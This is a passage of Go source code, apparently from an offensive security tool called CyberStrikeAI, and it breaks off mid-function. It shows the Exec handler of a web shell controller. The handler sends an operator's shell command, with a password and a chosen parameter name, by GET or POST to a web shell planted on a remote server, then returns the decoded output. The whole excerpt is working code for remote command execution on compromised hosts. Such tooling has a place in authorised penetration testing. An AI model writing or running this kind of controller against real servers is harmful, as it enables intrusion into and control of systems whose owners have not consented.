| 703 | } |
| 704 | |
| 705 | func (h *WebShellHandler) Exec(c *gin.Context) { |
| 706 | var req ExecRequest |
| 707 | if err := c.ShouldBindJSON(&req); err != nil { |
| 708 | c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()}) |
| 709 | return |
| 710 | } |
| 711 | req.URL = strings.TrimSpace(req.URL) |
| 712 | req.Command = strings.TrimSpace(req.Command) |
| 713 | if req.URL == "" || req.Command == "" { |
| 714 | c.JSON(http.StatusBadRequest, gin.H{"error": "url and command are required"}) |
| 715 | return |
| 716 | } |
| 717 | |
| 718 | parsed, err := url.Parse(req.URL) |
| 719 | if err != nil || (parsed.Scheme != "http" && parsed.Scheme != "https") { |
| 720 | c.JSON(http.StatusBadRequest, gin.H{"error": "invalid url: only http(s) allowed"}) |
| 721 | return |
| 722 | } |
| 723 | |
| 724 | useGET := strings.ToUpper(strings.TrimSpace(req.Method)) == "GET" |
| 725 | cmdParam := strings.TrimSpace(req.CmdParam) |
| 726 | if cmdParam == "" { |
| 727 | cmdParam = "cmd" |
| 728 | } |
| 729 | var httpReq *http.Request |
| 730 | if useGET { |
| 731 | targetURL := h.buildExecURL(req.URL, req.Type, req.Password, cmdParam, req.Command) |
| 732 | httpReq, err = http.NewRequest(http.MethodGet, targetURL, nil) |
| 733 | } else { |
| 734 | body := h.buildExecBody(req.Type, req.Password, cmdParam, req.Command) |
| 735 | httpReq, err = http.NewRequest(http.MethodPost, req.URL, bytes.NewReader(body)) |
| 736 | httpReq.Header.Set("Content-Type", "application/x-www-form-urlencoded") |
| 737 | } |
| 738 | if err != nil { |
| 739 | h.logger.Warn("webshell exec NewRequest", zap.Error(err)) |
| 740 | c.JSON(http.StatusInternalServerError, ExecResponse{OK: false, Error: err.Error()}) |
| 741 | return |
| 742 | } |
| 743 | httpReq.Header.Set("User-Agent", "Mozilla/5.0 (compatible; CyberStrikeAI-WebShell/1.0)") |
| 744 | |
| 745 | resp, err := h.client.Do(httpReq) |
| 746 | if err != nil { |
| 747 | h.logger.Warn("webshell exec Do", zap.String("url", req.URL), zap.Error(err)) |
| 748 | c.JSON(http.StatusOK, ExecResponse{OK: false, Error: err.Error()}) |
| 749 | return |
| 750 | } |
| 751 | defer resp.Body.Close() |
| 752 | |
| 753 | out, readErr := io.ReadAll(resp.Body) |
| 754 | if readErr != nil { |
| 755 | h.logger.Warn("webshell exec read body", zap.Error(readErr)) |
| 756 | } |
| 757 | output := decodeWebshellOutput(out, req.Encoding) |
| 758 | httpCode := resp.StatusCode |
| 759 | |
| 760 | ok := resp.StatusCode == http.StatusOK |
| 761 | c.JSON(http.StatusOK, ExecResponse{ |
| 762 | OK: ok, |